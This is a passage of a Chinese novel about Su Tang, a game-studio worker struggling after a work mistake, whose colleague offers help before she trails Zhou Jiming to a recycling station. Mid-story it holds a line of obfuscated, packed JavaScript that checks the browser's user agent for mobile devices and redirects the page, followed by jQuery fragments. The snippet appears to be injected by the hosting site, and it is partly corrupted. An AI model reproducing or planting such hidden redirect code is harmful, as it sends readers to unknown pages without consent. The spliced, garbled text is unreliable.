一种熟悉的、令人窒息的失控感再次攫住了她。仿佛脚下原本平稳运行的轨道,又一次毫无预兆地塌陷、脱节。
上一次有这种感觉,还是父母发生车祸的时候。
那种被生活的洪流粗暴的抛下,孑然一身站在路边,看着车流呼啸而过,自己却再也无法融入,甚至还会成为别人路上障碍的,彻骨的孤立与无措感,再次席卷而来。
她正迷失在那被放大的过往无助中,身旁的人将她拉了回来。
“苏棠,你有空吗?”
小白不知何时已回到工位,侧过身来和她说话。
苏棠点了点头。小白顺势将带滑轮的椅子移到她身边,压低声音说:
“我看你最近状态不太好。要不这样,这次策划案我先一个人做起来,等你那边都安顿好了,再接手。到时候,我可要好好放个假,就靠你了。”
苏棠没想到小白会如此贴心,并没有因为领导的苛责而迁怒于己,也没有因为旁人的提醒而和自己划清界限。
“谢谢你,小白。”她此时能回应的,好像只有这微不足道的感谢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16978524|179806||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
中午,为了表达对小白的感激之情,她请小白到附近一家高端西餐厅吃饭,并且提出她下午会去找陈劲说明,暂时退出两人的协作,让陈劲安排其他人手来接替她。
“啊?为什么呀?这部分工作你都做了那么久了,现在退出不是很可惜吗?”小白诧异。
苏棠摇了摇头,苦笑:“是很可惜,但现在......我确实没有太多精力。”
工作室的项目每隔一段时间,就需要向大老板汇报反响和进度。一旦出现重大纰漏,轻则负责人挨批,重则整个项目都可能被叫停。
而她今天做错的那份数据,正是这个季度要给大老板看的核心反馈。要不是陈劲提前过目及时发现了问题,今天恐怕就不只是在会议上挨骂这么简单了。
互联网游戏行业,尤其大公司,其实相当现实甚至残忍。游戏在这里首先是一个营收产品,如果预期效益不好,公司为了及时止损,往往会选择直接砍掉项目。
下午,她刚和陈劲说明了情况,出了办公室就收到许春梅的电话。
电话里,许春梅说,周既明下午开完会就出去了。稳妥起见,她还问了陆知言,确信周既明并不是出外勤才给苏棠打来电话。
苏棠转头又进了陈劲办公室,说家里有事,下午需要请个假。
陈劲没有过多为难她,只是最后提醒了一句:“如果这种状态持续下去,下个季度的绩效评估,我可能很难给你一个理想的分数。”
出了办公大楼,苏棠在路边匆匆拦下一辆出租车,报出的正是她在那个未命名文件夹里获得的那个地址。
出租车在一个破旧的街区停下。这里离她公司不远,是附近尚未改造的旧城区。
苏棠打开手机导航,正要寻找回收站的具体位置,却在一个巷口拐角处,一眼瞥见了周既明的车。
她没有立马上前,而是顺着巷口向内望去。
巷子尽头,果然就是资料上提到的那个回收站。